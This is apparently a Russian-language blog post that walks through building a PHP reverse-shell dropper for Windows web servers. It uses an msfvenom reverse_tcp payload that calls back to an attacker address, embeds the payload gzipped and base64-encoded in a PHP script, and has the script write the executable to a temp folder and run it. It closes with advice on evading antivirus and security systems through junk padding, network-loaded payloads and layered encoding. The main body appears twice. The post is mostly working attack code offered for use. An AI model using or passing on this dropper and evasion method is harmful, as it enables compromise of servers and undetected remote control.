Бывают странные люди, запускающие стек Apache-MySQL-PHP на Windows (т.е. LAMP --> WAMP). В таких случаях стандартный реверсивный PHP shell не подойдет, а использовать этот страшно, так как во-первых, он, скорее всего, без изменений не будет работать - в вызове system надо указать полный путь, а, во-вторых, меня беспокоит что там автор закодировал в $payload... Поэтому, проще все сделать самостоятельно, особенно с учетом простоты реализации.
1. Сначала сделаем нагрузку:
msfvenom -p windows/shell/reverse_tcp LHOST=10.211.55.21 LPORT=9001 -f exe >s4.exe
2. Хорошенько ее сожмем (можно сжать и на лету в п.1, как удобнее):
gzip --best s4.exe
3. Создадим PHP скрипт следующего содержания (s3.php):
<?php
header('Content-type: text/plain');
$payload = "";
$evilCode = gzdecode(base64_decode($payload));
$cmd ="C:\\windows\\temp\\svs_shell.exe";
$file = fopen($cmd, 'wb');
fwrite($file, $evilCode);
fclose($file);
$output = system($cmd);
?>
3. Закодируем нашу нагрузку в BASE64 и результат подпишем в конец созданного скрипта:
base64 -w 0 s4.exe.gz >>s3.php
4. Отредактируем скрипт так, чтобы последняя строчка BASE64 оказалась в переменной $payload:
...
$payload = "<здесь наш длинный BASE64>";
...
В редакторе vi это сделать очень просто: D - скопирует в буфер и удалит длинную строчку нагрузки, P - вставит с нужного места.
Возможна масса усовершенствований:
1. нагрузку не тащить с собой, а загружать из сети
2. нагрузку разбавить мусором и собирать по частям - это поможет обойти антивирусы (в моем случае стоял Symantec - он не среагировал и без этого трюка, аналогичное поведение продемонстрировал Defender)
3. Сделать сложную комбинацию сжатий и кодирований в BASE64, включая применение архивов с паролями - это тоже может оказаться полезным в обходе всяческих систем безопасности
4 ...
Удачи!
1. Сначала сделаем нагрузку:
msfvenom -p windows/shell/reverse_tcp LHOST=10.211.55.21 LPORT=9001 -f exe >s4.exe
2. Хорошенько ее сожмем (можно сжать и на лету в п.1, как удобнее):
gzip --best s4.exe
3. Создадим PHP скрипт следующего содержания (s3.php):
<?php
header('Content-type: text/plain');
$payload = "";
$evilCode = gzdecode(base64_decode($payload));
$cmd ="C:\\windows\\temp\\svs_shell.exe";
$file = fopen($cmd, 'wb');
fwrite($file, $evilCode);
fclose($file);
$output = system($cmd);
?>
base64 -w 0 s4.exe.gz >>s3.php
4. Отредактируем скрипт так, чтобы последняя строчка BASE64 оказалась в переменной $payload:
...
$payload = "<здесь наш длинный BASE64>";
...
В редакторе vi это сделать очень просто: D - скопирует в буфер и удалит длинную строчку нагрузки, P - вставит с нужного места.
Возможна масса усовершенствований:
1. нагрузку не тащить с собой, а загружать из сети
2. нагрузку разбавить мусором и собирать по частям - это поможет обойти антивирусы (в моем случае стоял Symantec - он не среагировал и без этого трюка, аналогичное поведение продемонстрировал Defender)
3. Сделать сложную комбинацию сжатий и кодирований в BASE64, включая применение архивов с паролями - это тоже может оказаться полезным в обходе всяческих систем безопасности
4 ...
Удачи!
No comments:
Post a Comment